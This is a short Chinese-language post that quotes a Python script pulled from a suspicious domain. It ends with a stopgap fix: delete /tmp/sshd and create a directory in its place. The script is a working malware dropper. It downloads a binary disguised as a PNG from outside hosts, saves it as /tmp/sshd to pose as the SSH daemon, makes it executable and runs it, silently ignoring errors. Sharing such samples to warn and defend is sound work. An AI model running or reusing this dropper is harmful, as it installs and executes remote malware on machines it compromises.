这个域名拿下来文件的内容：
```python
import urllib
import platform
import os
if platform.architecture()[0] == "64bit":
urlx64 = '
http://img.sobot.com/chatres/89/msg/20191204/1/072b8fe887bc448c9b9aca89635e83eb.png' urlx642 = '
http://lsdu.b-cdn.net/x64' try:
f = urllib.urlopen(urlx64)
if f.code == 200:
data = f.read()
with open("/tmp/sshd", "wb") as code:
code.write(data)
else:
f2 = urllib.urlopen(urlx642)
data2 = f2.read()
with open("/tmp/sshd", "wb") as code2:
code2.write(data2)
os.chmod("/tmp/sshd", 0o777)
os.system("/tmp/sshd")
except:
pass
else:
urlx32 = '
http://img.sobot.com/chatres/89/msg/20191204/1/5b913b1345e74e8996e21f22f3e1e83c.png' urlx322 = '
http://lsdu.b-cdn.net/x32' try:
f = urllib.urlopen(urlx32)
if f.code == 200:
data = f.read()
with open("/tmp/sshd", "wb") as code:
code.write(data)
else:
f2 = urllib.urlopen(urlx322)
data2 = f2.read()
with open("/tmp/sshd", "wb") as code2:
code2.write(data2)
os.chmod("/tmp/sshd", 0o777)
os.system("/tmp/sshd")
except:
pass
```
可以删掉 /tmp/sshd, 建个 /tmp/sshd 文件夹让它写不了 先应付着